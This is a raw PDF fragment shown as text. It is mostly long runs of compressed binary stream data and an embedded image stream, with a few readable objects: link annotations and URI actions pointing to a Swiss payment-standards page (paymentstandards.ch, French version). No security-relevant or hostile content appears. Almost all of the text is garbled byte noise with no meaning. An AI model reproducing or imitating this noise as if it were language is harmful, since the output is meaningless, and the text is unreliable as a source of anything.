+k:\pkjܺʜ6͝rJUfXCtz917~pWw2yUߜоN4EWo[`zO-zhicy/g(v鄁wnk6XԴNecqGjݵhAm'lϷ}Wij;)&c7_LkU=8{`AρgIJ/xQb jnix:i tP({EA6E(Eze*ā"(Ȗ){o(ƿ$W>~^?BӞ${{@UTM={c3ˇLЉon_5alJ&>>; |:[r>nΟhšN7 -âzb E!cr7^$ 5'kf7㒙BzFYk'j<CŽMqg\g.Fbޓ2v"t$:6L=Ės<,Ϣ79pd[`_Hg{vmgWN'.QQO{osբRfJn}ǯ% + "|t2&D8l&~w>SJa:z&&&FښL +T_/E'a:gf%m5VS415hT#exQF+oUc`߬k`j/ɣ(,#+M_헙!j\-m#Sc=-u:!ѸgdE橑chb*Ǯs +*/{~ՈGRl ^~#=- 6Lf # ._dƶЬCnf 14;RJi\L*LQ_|Q}slOS[@WKFC양E(fHTu -=#`Xt2Bc\6զVߐMOL 9o[fhJKqVgѱo1km6FUyעStE؛M;FL:X36da%!u,=Rz*n{nGZxUWQ%#t_3Qvn3WPMoA|#bUM#SG:fbvF)Ж@#]->N%Su_|'g"(U?qbO d@OjͬEeY:e}],n&Ѱ120>owGе^7_=d5,PŚ B3\󬨡5[ 'F +Df8]M\|N||ŌO4F{&WDS0ߙQ7#(0 IȈ9|-l[`[1ŵvDPDERGb?7WK aU0_iZLoKjD41d/XrϢѨ0)a/WtV +ܦɤRT-FXj,RtRpu*Q[z+iKĢԱ;(_h1;E8&nm(?mc`m`lLl8s-b|.YIc-Yִm2sn K!AvuLn.yv#!G(?A!RBqU]$ԛ"tNw]DPD8asͽCrJ*;Qtq?ֲ; o4Υ"Xw|:8y^܋e6锨,; OcX{sUi/6X\x7+t6<ͱrYVU-=RY_x-3Bw;{'kXvCXWߖbtޖg"$j;-}"Tv"?3Ux=6P, +୽?K# +=4&X_֭ &29tE2WJAŽKT^pp{W-}`NGg /(:9x];1^ZIGW#(Be$ +'>P'hFnJNl쯽kD^Qޱh'~t}8:!#REG#(vZRu H^HSCOMw_~38 wt}g|NB!Sn[st5:jdg7<"L+X[I*j 諼28s5Q:rTsjrB,j7-_+GS-&\ COSH1y[J%֣H_+mˋ3RiϫUfs\zL]\.k_wf>Y .^FIIUsCdu?SF[w0{I'2uTtf#(~ s%gtᕕt2Lpe4J"(>%@QW,tEDPhyE6+кH}lUͯ-p*~wL|'ML|5wXKēo8AgHk^\c*o%}vG@[o2>=4?A)[).\iH~H +B`pևvN?= 1κ•L1?V=Cw1Lif98tK; #Ca㛭L,Ƈ7ocg"`sjM¿9qοmHy`fre{$ΰ֡\+;–R[("X<7M¹_GPc9 &?˦#jyj~Fs=^t}ߋFb?|?fvvS [yG ɇy#(U#mƐdlrs.eGP`r[ J2"TUdNLjgT(\)%DZ M_)~OI5!љAYs[8d:1Ə#XM9O}jFh~>5EPbTٽc*nyܟAެ!!?53/ȍPU-)j8鮇]f5(DiC-.FDQBG d /j8D>e4dUS/뉢T@iwG +a3|:?y\tE_fIUؙpĒ%Y.a'g=G jeՆ!4}ďmg#(py9w2'3G1H^`|KEOoe&ἓwEЩ|#-,8$/M#΍(2y[']P(ḡ/m˧7z*K+_P<yu4[W+D] B[sf~|_aU'd!$ [&y쟉dc]įGP=ۇ\6j~OH=A4|~qъIA7qׯDDq6i +~gDPt.VՂ,:{ +gW@A! Օڹ5(S!X3RrGY+ݏxi+m6B"Qh sgkwSJ;GwXPӏĄOcql:vELGP#{s%S Q[a|Nu x73< +sZ/$m׸د=Q,P*O<*;h%J!k~Le97NT3x AQP]E~["O1gˁU7FPF_|Yϴ8ZꛇvhqTFcv?{];)*;[5UV .XK8g"G+'ֆ+xϋb :qjY_T.B6kƴAr35kzϕ"hD"V]waZAo?}N!q` +Dn~"ֺkHaJ|T*e8wJ0tlzU!'T:5>>Z_H.Uz!t8A u){lв`SU ~oqŧVs }B8)9׼hszaЉ7RѢIwDPx˚K;ݮ?)o`(l˄cq5)<`}OOB6`Q{{;"(:\jod oAZ#i-Y$fX11XwbVۣftW^t%r=u>*kԎ:s~NUpn ]vd_7d4e)ukY0QK)UtςLE[&{a$ъޙ7Daml5]AݱHtL@0[#7r Xo#ieFGȂmW&R63-?'\~8=6[ag0ⴳxP{,v,iTk/IhUV;<Ad/)ԻVSvm/闿`n^P $R=fV^I7瑌nZ "XOy4+vo~ Үhw|؇t)QP w|jA#C9*{mrRS|GMqy7̍zX}mLBᮻyHfEPZ [4*t2sb;:EP:n嬦f#ae>Pg[nT[U0<+ "(*˿NGl;kMM V;#藉ʤS^L뫯>+@f_ԏ,E]/i˗ Em6QfOWVLB%ȋ7‹׵m.Kv$аeG,Y?g߾'qmvE<*㨫g\sUg.<|_NHo[KBH$?,穏nݨ YӳlE%=e'mOm]=#/ہ[zDLRVVfzrB}|vy>(h]XzA  +.QgweeeeD9Z.0Ye@!G/haR_an{T&ĕK#^*}n5!]P223Ru1c&܋W +A2[9'"+ypN5&apN>X/_o6#L|yWWd>ƄPhnKSlxtSWR^b<)憿2_E3[mgLî>z*3e6||`vdKf"(MKLг;v٫Ww_^Yn%/eh%c2IxXDԓDcɃ;8*VNMc0śMzϢ}r潌^ + ;keuil;rW 5'`7ɃeCѶxS6>T%Z«Llӧ%\ۺXvEt:_|:]ejR܍ agtҠ\N1<>PoA xLYLR^*BW5u uV0 ]/0dA'ޤMG-R.rn}gw5*|tg\B^h"U!;7pIH* C"awWfKv^jfaeӰ,%6˹_}矈ֿۉՖg+'lcyϙ%gLuՕ$_4S| o{Do™~`c~ٜPQg\:߰=";qSEC_q"D'GCY aAc’O첓ȝ5O. ^{t3t"ڵ+O*}?9]-N;bU ͭ-lkkc󾅨Vw5s?E^ަ/cs[D^\1:ЉQ{g[ *!E:5XreʫMHǟ[okw<2 /o|yz _\׭8߸6*^86H ̽{fsDK.6O6<-5Ut)@Jx5 +Ra;][ߠܖy+NDg!> +/BS << +/W 0 +>> +/F 4 +/Rect [125.35 612.64 414.65 631.64] +/StructParent 167 +/Subtype /Link +>> +endobj +273 0 obj +<< +/Length 3686 +/Filter /FlateDecode +>> +stream +x\r6ED0q㥓L4mvڝ\ݙmCeG;HTesӧXI@V-ȝF \>麞_OuӺLϮ.W?]v;;{5/'|<{[&WyE$#WMDVpL$?J'.OO^Ф"L.OOsЄ2FK"% ۷yrQ#'7xU5Wߞ4Jҟ˿||}z7oY1O<#y" c/阏nӱ}Hhh>ѲNhQ 7u~IZ[ мīMJ7[Z6o)RT%)+ 9Qª[%6z S ^8:9AwhZl9N>"$RȽN9$wkUT虁v_i }u}A&,S$ $c3TYR) Q(,HW8?懋,फ़z;UQg@'7*G^\J[5/Ԓ4elF#̳TV橆UӼ}~YGdhȉEMd ?L܇eQ6uED(f>jȀ>XΣOP˚SRUYȜcFHN7>@uuRn(p@n8**RaouC)$/UbXKN/'M2^/K#&Qq2-!=Fp:=w*De[O$`D7]A~ &{N*[L>őAN+R?QP[W!rF6צ8+mTG߫"&Af~rRdYGLs]ޔ5D-ܸ%J %|Itryg1p^愗6pjywCӧ0Y")&"Du:k{u!좑l۪쏲vc$]v) L7jFflaL4z$Z+5 B kZ?5s! 0?u9db & V?ZJ+(>+#ٵzqU(_;i4Ձ5&juj=^Wj,԰Kh儢P *j^%9Φ3" ݕ c` .h[*iU <m[{^ҵݫݲa%|Z?ReT0q4Џ_/F0 rgEs.:+`TK瀫:pZ}#見QW!7~mxu{m>@ TS?z :}Zo +zXµ A6:CwjwmDKiF֣,:>1]k#9b0Y:tG`,Xo9̸%sۃLV!v08/Ia1w4O򆽥5K𱐟SfϚT,Fm0"iQz,+40mrJ睙;jM`z'vk1/̯ݴ<6ƨѻgB| +G<*;en~BQwwnpw2ˏ=1Ch*CzVH"a OT|Wf@q#WVb"$Ep}a},'L`! WdL+׾B3Hwp +&Bȕ,D@.rY=!Cޤb+ͰATE.@3G  ]u0,NܡSO׌,^)S)}ȏ` V-iK)b'?a%pg>l +Pjm\-ۤ%X^ͧ:R]Z{bYNJ[ S[V2J)jm]\FV}V01P;Ɋ!IԫƲYis0*R hS]Az`R83 s ʶOݻ#lN#b_Iq# L3ݘ~oROdʖOs/iŽY' U#K~G58Ζ +E9RJ7X~luhH'U(3og]AxGfT{@5|BܤNoXůCe5l/fȘivSW)Y (J(TH>"Yw5$A^&}$eF:}:K%W}^!yCW|"'4 -= /X;z5eVdFIFY';-fA ~ u>`tn_u(2=@P};\. +FdVA}|;ޯW_ edJ5yF*ʊeP~m]gԓ RmoM)#`$ C.!$gv] 3֎ASAw+Ua,z KLOz(*coMAr>Sw'2pvO00,j<> F&Cwgv]Flt)0wv,BCjKڴ=6SJv-KʊqJ#Lp{:A]D ZEۢ#jfNw1[xȆQalWHTއλ)d.GsS0I^\[689WyBp% +yx|`don`"e=ɲK?G*xO*VwJ}+mⓌȼ*l٭~)~ګn)Pͺ2?tG|?M99uP 5UT)w(gMWzN3g4ۇw,\^vdhz¦ 6,w04 !jdP4 tVx.-d!03zit8 ew+vO4Hmi{q.&^Ur<+Z-/pZ&,vM+>ph+;r= +endstream +endobj +274 0 obj +<< +/Length 18152 +/BitsPerComponent 8 +/ColorSpace /DeviceRGB +/Filter /FlateDecode +/Height 747 +/Interpolate false +/Subtype /Image +/Type /XObject +/Width 883 +>> +stream +xC +"u[QnmWp"āg>7ASV?&yd%;yNگ0_OZrڵ>////_YNNNKXO845kV90}tˏܹscRRdܹӖ.]zN㽰\zuuͲhѢa%K|sYVhǛ +j__O޽ KRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRa HEXKQ% a ,ET%EXRRTKXFGGtBXa)… :t2c=Dǎ?%-#,la v`K#%[FX!,2a `GK;BXe%-#,la v`K#%[FX!,2a `GK;BXe%-#,la v`K#%[FX!,2a `GK;BXe%-#,la v}… G{utt X>@}eXXXWQTTa }eRRҷސa `GK;BXe%ؑOh;nřZ4:c]ުqN'%lzݖV6{/'_S(R%thce75kwkzqӿ~+ z][g wa v݄e`q8nj]V88]صoƊw?y=K}KX4N=W)ߔH_e}X +CxƬ=_~g%ؑ~)M0e_^X +fc}yQiiO +^͓} WO굊y^ɱU|ݜ|J/QƺKFyD94nAn zȄcsJVa)5,:+,[|e\!n.1o>i KG7nqutxn2GN]LX^"wpi{Y[K?=mޱ'ttr5G\l7wU'nm=gmP]1֭9, ʲ6Eg蘉,,2c}tt} 4h+>z}:׫-?O2>F~i-ai.%;Bɭg\j^lG*Yw +5jS[XvٛQ٘IKc%ؑ^)о;*WG K4aYv(7d̝se2&,ztȭꗷX +|Q{a喰tw2%[Lg,#Wϭ+˜/'5-fulL _ͯ6<>2j%fiaiW'׀>{UYU[W^K|Y%ؑ}5+Lc}ZAc,˳f$8LtL3řz\v/k9*k'n)TYSxu[XX +ʧ#d}ӛ쌇/+Ow no5U{m<wA}h~c,fW̤ *&ݟGɜlO[cY:>lDekQdY֨-_5"\jX}`6MR$H; m2b_FmR.nK^~i OWOFҳKgq^ߞpϹ]'T^*s夾N'zp}喩}z9js ư4շt{loɽs+[sOgW؄#F!nǕ mhØ>aN~A36\k2nl=rr}_/Otzf~ݗ;;R|&9˪:,~ob=\,}yUױgXj*N~։CȸG q;c(mndN.ٚ,7J~l0W +r60*c "Zd麦k:,mmd&L:ܜ ձS²Cvprp |:c`GGXڵ ɷkAU巓^i:e[ybU^K.zо7MӴ+wkO/ϸ|)#ߒI2¹Wib1?|jk +:eU˖5.W)^!I_b/|I>gC@,OkK#,,ڇOˢP|:ŇJ}LPY1T3b~͇D*ubw 0.Kai75`ǫꕭy;~ z$aYR^[wDP!?唫0 ڴt0{eGvG:xwrKU9x[VfDQ|ZpeSJj-Czv!H{ Cϯmr4daZa{qQ}vllH^4?ˈĤ+)T)CCB'NMh+,MN,wqkykkpHkt-K>86 ԭwWgT893GẼ^Q=4;iًfٵdI/]]Gy\[]d[lTG:::%Ypy[۰~2:s¯Q%ؑv75vg(T>e܊cYXZﻡN{U1[a)5j;pI}W)4fVinyFqH̭eTٷ$ׄ?fǶG~pGُ(5ow^COVލzZ84*_3,ӐK?1y\}j`'j4MhԾX28»z2EQΖy:7[TG:;>;U9VWX6JWX[RSa)u#7^Ӿ~`_~3GaKZ"2NpʤG'v:׵kG&Dd^]FM]zdW 3p]w[;%:!/egl`Иgڨ.!']zݺukW-2"*t3M5qgYm [\WpBBg)/Z;&H˝KwL9gZ4g.1 +ru|?,]C">X;/⾑`Ҕ9oOU>e,8?9 <ף["gӶk-UvX/ݤKTDwh^]i { xԮ=ܜe2GKn>4_/]?*#z|JAmC/uZۓ;ZM7cG~l=G0hZcޘK##,qHh@PܽU9͢1,? +vY94(Kluj{f,Ϲz{M9h斫oB4ԞY3%o&~K}}}[wfaoߛwYV[`d!g._z& %s. +Hˤ[- {Swt-l$ [viFA0XËKG-K)Ͽ<˜0nɨj+M:IAbݰ^?.T^ٹC6\lso3+)5;uOJ9|g֚&g[J!s䖗 +d`GIX&z~u{s@ٷ?e݋E]U44^9:*"$Cw +>|^Y>%ҽu%Y5k~C>2QN_+_A.7PCFE1gM2.ˎ?4]†_N?j6u]]zyVvgEQjaxWGs+ѭC-7Y'uy(X~C%ؑIrsv8 + 7׷xnN-X`h/I&13\ǭ=JpwMK,z<^?<{j(sg f+-H; +K+Mmṃ~9:iT!&zmK#/,'%-#,la v`K#%[FX!,2a `GK;BXe%-#,la v`K#%[FX!,2a `GK;BXe%-#,la v`K#%[FX!,2a ;N> }paQYFEqcD7QWuTAGDEQY& ɾ-%{s޷V)m/U=tWW׷+*"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"DXa&,"$=7,x݋3gAX-///@tD=,[+g<ӧ_c +EKa  %%)!,H a @JKRBX %%)!,H a @JKRBX %%)!,H a @JKRBX %%)!,H a @JKRBX %%)!,H a @JKRBX %%)!,H a @JKRBX %%)!,H a @JGXve Tn ,Ν;ϙ3Rź0,G=7oޥ. Ŀza @JKRBX %%)!,H a @JKRBX %%)!,H a @JKRBX %%)!,H a @J\Fzٳw~? + + +?? IԩS[+///;;;͛7 KH{ |'WԼyeUE#<ڍ?L̶M6ޜ9s +cjr |ץ|аZz3E4iRb2eJj7Ə?!,/qnCA=3s˹꫅%@X&%,!(a LJXBPa%2)a A KeRˤ%%,I KJX ,@X&%,!(a LJXBPa%2)a A KeRˤ%%,I KJX ,@X&%,!(a LJXBPa%2)a A KeRˤ%%,I KJX ,@X&%,!(a LJXBPa%2)a A KeRˤ%%,I KJX ,@X&%,!(a LJXBPa%2)a A KeRˤ%%,I KJX ,@X&%,!(a LJXBPa%2)a A KeRˤ%%,I KJX ,@X&%,!(a LJXBPa%2)a A KeRˤ%%,I KJX ,@X&%,!(a LJXBPa%2)a A KeRˤ%%,I KJX ,@X&%,!(a LJXBPa%2)a A KeRˤ%%,I KJX ,@X&%,!(a LJXBPa%2)a A KeRˤ%%,I KJX ,@X&%,!(a LJXBPa%2)a A KeRˤ%%,I KJX ,@X&%,!(a LJXBPa%2)a A KeR²k׮K.?LjѢE]vY HX'g [n|AjDa !^zpL7Ca !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !3a !&LxHGӦMkҤI//K~\z%zqY%~ #,nj2qa  gϾ+EvÕ;ݧ/aY^Xň'祪o>c76ZCOp{lGj~SՔ /_g=k]':%@[XƲ|ޭb˚{Z ;j!nZt6 OXqSnV +2^zGlټ찬Z6y9wAXr1%@WXfw9n8T7xShݾ]e`7 >[iGqŹ=m͂ w(=} .߰tÎxٱ.u_غqOXXykԡ]+~үw.nxҚ;'A<}jS,l#kVcX6m߾sn׫\}3˚o?s^],/tTY񲂝~7u0KUڿ{Fv;{eҵWڼ~/[yܗşypb%'}NJv}W~f7H,5т +< B+,[>iҐfL]Wzc'Wώo&г߄Ǧ}>*?WOyac:kҺە>DXbYmFNxG{Nf 7'ꏜWѨ5_}ٿ+pWx/?+%"m`׮1,;y]8meiMkCF>4 ˚oW7֡[bym{o +H9ܜ&mnryM2:zboig?vVhٶϰl+޹>/ֱL\"%ۏ 2ƿfvLZfa99Խ׊jTl׳5SsaY[Y:6mѪa7|ӈu۟T ˌ윎}p!z6h3եa۩F8tPfMbMZˋkϔ]!=[vv]۶Y+nXV23:7|yˬ=Ʈ;ưtf=:c_8P\Uu{1~=/,;OԩEVW 6r!{5oݥ=l>r.,չOb\7 X71/,8C͋e6kӑ_"3g裳ؽ׽Z221,326d7sXF~SUzxԇ蒗XWwrm҃ +Zʤm:ݵD/fޘ<\Xr52sZ{~ڪ{7οSX23wWVZսb]&6~6,coe_wOזlޜ W/K\푵3{o\k7ϷU]wu]2}tʋ!~6,tyo=<,ם+ؿ+u88_a/zk␺p[ߕOaפ*+:ydĸ~tmnѬO1ۖ2kּ/vOPSy{?<^oXN۞zpIeu7%n'.^r8ƒ$,"$² {kJv^\c_&dvv}t۹ܷ˚dxۊ ^H(~6,\3uOE]7Cz'/}̻'[U5e u{k*ˎ۹q墷2m+33bMXòjSr4p'^ԘcMo_V\lp ˜Oٴ~m3[+|ă KRLXDHz9.5xXfָ_^1G7O;1ﮩ+,,ٹr.c,RXVyW {awimzum,,͉-g* +Z웝N9ٰpsT1as<˒']7(>o"˜^OXQSuj˂kK$.? _eeUMUc%@aXX;㾌XIv9[s&ưWx^Zhٹuv'q +3ݤm[_.~YuX|s~+[jթAWO{抽UAS5e_!;#bv'`8[srࠁ}{t;ߞwY _t +,b'>XWX}eG>]HH.w?9cKp__a2a !iڢ=WmQe;}ne];/\!E~wN=l+mxDh__VW^s.,6m{ 8R/&x7^ѕ6aصrέZŲZt?~=c9|P.~-BX0y! *?ŋ%@tMX[3ih]O}gӮCe;'9厎M>Α ?~^’4 ,"-]ͥ/Oh▩U}7+Oz~^ma BJXDZ匩Sk[$ec+R #,ߚ:zPVn}lɊtCX|pk/jGc ,;k;'~ٗ'aIa#7tjnȽ\Ġ\ܷ»?_ BX%@GX]۶7 +N_|Xtާ]ٷmfev].io}{_ "{M6]ehʕ os6","$=?־m_TuNc,O8^yy^JKKƧNjEXDHz7𻁝sٞd^z/\mEM<]Ғ4 0:;nܴ~g╧L7e)3֔ +Ka !lnyͻpsQyeSǫʿ}+YXBdKIW/-rbM;4nҴ7f͝;wyh[4 B&,c);gtl<#PFFff#>ra !,"$²^C}z<>2~G/\>5ѹ/,^mS[WX>a !i@Z",0",0",0",0",0",0",0",0",0",0",0",0",0",0",0",0",0",0",0",0",0",0۵8(i*IJklBK܀m"7v^% L"?s> +/Dest [26 0 R /XYZ 40 482 0] +/F 4 +/Rect [479.42 360.14 540.54 373.14] +/StructParent 169 +/Subtype /Link +>> +endobj +276 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [285.44 321.14 549.4 334.14] +/StructParent 170 +/Subtype /Link +>> +endobj +277 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [243.95 306.14 289.69 321.14] +/StructParent 171 +/Subtype /Link +>> +endobj +278 0 obj +<< +/BS << +/W 0 +>> +/Dest [64 0 R /XYZ 40 728 0] +/F 4 +/Rect [324.02 147.01 371.48 160.01] +/StructParent 172 +/Subtype /Link +>> +endobj +279 0 obj +<< +/Length 5134 +/Filter /FlateDecode +>> +stream +x=ˎHw, ,$rAcW Te햤*=TdD>I&%D ``Fddd>;_7:y|?OϮ8~r~t;ny2,EYf𿢐$QѤ4x<_Jϟz-Iʔg%$!9ODeJhr5SP}̓ە8ū\}ُ/ϟQ?BDAl0l\5(,SFX\{Yێ=F3ZfN(R!˲x2 2cIuϳ|Y,l4v}DUlab1Ni,4{_1_lXjk lp):L@}blES}bBx9W?!4ŋ)D^XNxMYcixH#-=LXM/Xs$:9>b Y@$@x7 + 5%3PlI/c3lzb^^84K)B/:O'ƍ758k^'x~^˝xh]>~j願F!vziaw %CZG?t0T^#)73ʹZf9O$%R´x@s=Q1 `&bbP-`bH|\܈&||XFHSSl 0P9 Ʈ0p9]"p<7{K[:܊*pȢ8qlrDԐGE9s4} ˫eIC(KRkU@#Ƀk@Yj@5 + +9~Vl*cCS-5#'ڮC ]4x^I1nqbe4uOdk0Îu v7vho8@ Ώ(kF*:V͇U0 vJEVh3خS&LDJID=U |}ťjOF/qlu  DUǮV pLc?4JThCDmfX] 14i4 d2|n3v@/rO}c,~}J$ d5YIc%O؊QIOwJ;t~݄&~t0pKI=Q ץZ^t{oj&=tKx_~VZOKut F l zv`d#9 )R:=`6hvj KSϫ9>1JtS!GB8KYYaVV))I% ze;G_E-o[]lhvkgAÓ%d03dKTƈ^'?*XuCa)fٶ9yM]Mxl2c(IMw +u¥--Ysk\Lu;ICLemhSǖ +wG`^^HFtBQD''='NnVOӻ KX}]S:u17x-]hΟ\Lίdr;з"v2MLP-|[G@aWJk-.9ct 6!4tbd~yb5o*ȹ ^JtH um{bc:_׬:QycA!?*BI,/~AI- [e +)! pI5i5 +(Aj4x`݁Ӛ+o VǾ>)Ql)v! }ԡ=n@ڽq \{5Զ\n*OA(_0_te u^TT$ +L[sgye`' :&٬^s"/R1ĝӨNSi'Xџ@}_LlS룮4ao, XFn-yZ6'Xe`&lԏzre4WԧT_KS~EV7Lbd!a~2acy +bM3\⼳x TV +Rs*8S-VO;m{,St9jh[5օ;<,-3[ +?۾p3N+QF)8o +qj;lyb,EJeGS ҳ6 eOiNMݭs]J>\aeN3u YB4W_chMTjlCWJA ܦ&(w|dDZ\|!´4?A7>#ی7:ïC9_$9k1/i-R`*. h|'eP]y + +{-(2Rn q"*B\nr7 [vQL憯Y5)9>șx&I;[;) +d<JZee N]F6sh7]T"NW~r։nU +V#=g0y{ +;`] Uz>T16&pb%~BlI+RB9k!FYz~ť#dW*Gh atr:&yo " nrʎ %'`й D7~epf#}B(=8wOV6t=3WwUG&󴕞%XtwNPH;?J9v|t4a:Ȯ懨?o1hm܋ol bzWht҃(崍EOiLlm0 #qGP# t{DŸ>vggĝ{A0@TS`=J #$YT=8Pŝp¦9Bl` (TжC}Oii@؀@,n-/u&zM<$ 4[MXJј8HUSc&jY@pf~<1R]Qj%ଚ> '6'4RK*0u̼OT;'4+rȯmyT-9Y9ǣ w>c͎/[GbCF}5 xmj<3iY|C~]FԐ?:ǰ5t> +endobj +281 0 obj +<< +/Length 3547 +/Filter /FlateDecode +>> +stream +x\nFo k9dp$͢ƻ l,"J}S3G`ƺp8̙s9C_x=;nǓߦ7/կ^Mߌox;_Vowt=Eϯ.' I࿢4JHʢ3h===Quz%J‹zvzF1Y$P]/Wov#gnS?:=eſF;=y!'h26ȬG"OH#ȡf"U<q6lAb0` _eX ^WpOR9F^`n;|HI,=VAr,!r+)6 slIvN{q>lAkvk;휾H zdYܛ4D5I$2j5f$IC|@m7A>=>ioWфk=F@'2 IE  ξIы/@znpz\n; Tt[;ރM5~jPV]O~kGYHE+Set%YSOypDfDNkQ x0l3g3"gsɑu35N>KXF/5l̉\n¹Jd2iA*%ıOSSTO_ +Q6f5$ P)jTja0xYZڵؚѝ!Q4R=Nxvf$l]b([j5cݏLJ; ̯1ցiit c?a>7NN1757B͢jE[jKTUD9q?ȿFjih$5#?A$P@Pj)t]Vz <`GP*_~a'霯B 3vd%TBlQ -XRtk`"INj̰ZD qy^ <]^ "ć_aiD_שԽ;hV(8=>!UpvҁI)6 +!";.r(4WɣN]%3o\pS~Kz:R~["%5f&M )Rs((Kݝ̱2k*@0j5/e f}͢"S-]:fXYDx00?*rʿo~CqjǀobLC /ᄋO8 WNE_ESW4]-ڵiyz)ˈ%I~H|/$t4dgc&_淥w9mF/}azPtvꩁEF'p&f%Tq,6={`f5L%/ct0 -k + O[F&&oGHAjE*Tױ ƒZTt 21,m1pN~tÞD t_qR<'Dhʤ;:X]p~{  |RT;LN37oKtZ`KW,jy@lq[$>2_Qۦ +1+{z4ʢi>a#NftŎ}~.uxZm-}XDBE1uJTū* jDS'&[fL135cqd6`/QGrbr=u㸺 +v^JGpVdPC8АeɌupuE9 k&1M $K԰j.Ɵ0MCp@'!Z7g?KIBC\w 9U{SpA_VdS$cb=\;=:QRt"=Ļo?hdFy-]mX]@~P)n` +ݿ[[K= oŢ8س։ +8Pʬ/=)*8 VPUe%jc14͝t~sc\Nء۹!NB b#ʶC*:m+n/ t},Cp8kOU^(d41Ɠ>?6g>a6kPG5\WrQaՋ&* _S􆮵ٮWZ {@НNˀ 0 e?*bYakD -,E3჈:8ժ1}_f qx7XTV8Q6f{0Jk/gq湥i5۸+)~xw)Ӭ >'(Q`w`PQA$0"v'Wz{> +stream +x?#׺/& u䂃(p`'F00f f9 åQd3(0̵OsNw֟*VZRy2O^$^VI.6=H}P;nORҹ Nm5-vY@ mu ȩ1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1h 1hw gk\fcs8i3rڇ h-͞>EX# 9~;9ZWmbU0dv g$ǭ % +AX5 @!1H&($ b AR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ % +AX5 @!1H&($ b AR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ % +AX5 @!1H&($ b AR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ % +AX5 @!1H&($ b AR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ % +AX5 @!1H&($ b AR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ % +AX5 @!1H&($ b AR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ % +AX5 @!1H&($ b AR,~ܚZb$Hŏ[ZK v:~?kxz.`\6>f/:W~\\sӽnnq~ۮp~?^7M23g&i0T' y£bWxq&;G?]]7zn)b>ob2 >.hv_]toWb?l$3yu&oGz0$O8x@:hyn:/qnI ^1H]kt/.v řh]M^cw:e ЯJ_\*Cb^+R$ttݽȳ_foy=Y6ȭ«};~?~m ޼|əkFx& b+ص~W.bW8rWĝNZwAr3d7y6Mݍft ;a|Afc8^o\@AXj5صvWWH gz 61H_J  A861HJ]Ů!1& b֬ #9CZM $ǭY3zG r +$Hŏ[f6 i861Hfm81PH $ǭY3bG Iqk֌ AR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ %)p7 Ww|㦓Aߎf-:`r{=۽eo㟖t?<ScA2Z1樂l}8|Qw.3t5vZW[׋wp \njwfgkVf_>,Adz/Q;z"NLgZa^BYi3bcV̿صWFW[1B}1S e4u&;E3N͇^U>xUXlbTܯ ?OU!*9je{{6YfTvxyj>RË83i͇]jxq' aHŏSb׺_zqXW6n\ih]M^cw:J ]GUOO3_7ëWt۱?eS*Z19~ _K /wvEδ.5 +0dv g$W,r.O xn|&œf3=DGjөPIX^U&޷cE+W̘ x挤|إqg:ӚN8rÐ-_D]mܟ.OƟl 6zu]M^cw: +>T-sOvׇ0v~;&,_NAj%|;w/_"rSa^ɞLk>2Ë;Y CfpFR,~wyjs@ͭ{Mm'xx&ۤdwh#w5yM? * +M7ez˶:N3z5A߭Vf̫^F f6J /O͇]jx'{3K /d#7 I + ^6hu]M^cw:_&rp{իV;7Mʌ7|y-5<5vEδ.7J0dv g$?.O-xuON93Ͱ4Gj)}NV9|zsD6wLKJQje|oe^"NLgZa^B%i3bK^a[RË;Y CfpFR,~+r>Qm'ZoC1G]M^cw:?~/;W]sJeV+3U]Х.5=ә|إwPɑnጤX҇W}P ROJO13ϰ0GjөP`v3r ~{#J9N冗.5=ә|ewPɑnጤXǟsSlܟ.-ᕝlsfZaߡi56qS# +/l<_Önh2xXT^Rc^M9ps$e.7=ә|إwPnጤX +Jqlwyld4Ӻ Ms&;J%> 7TFoYoϣk濎^_fj[*Z1<.9'(5ܹ{إqg:ӚN*8rÐ-_@]nܟ.-ᕚlfZaߡq56qSnfqK-f}oc2zѦ on7ӰfV~mfF^.6JmlOc~:7ww7o{EV|إqg:ӚN;rÐ-_D]mܟ.l 6z]M^cw:|_&!OCغ@1Η!g[E:;[>hTÁʌy}ji|[jxsK /dt5vŝ,xZ[8#)ZCwyjSy.qw 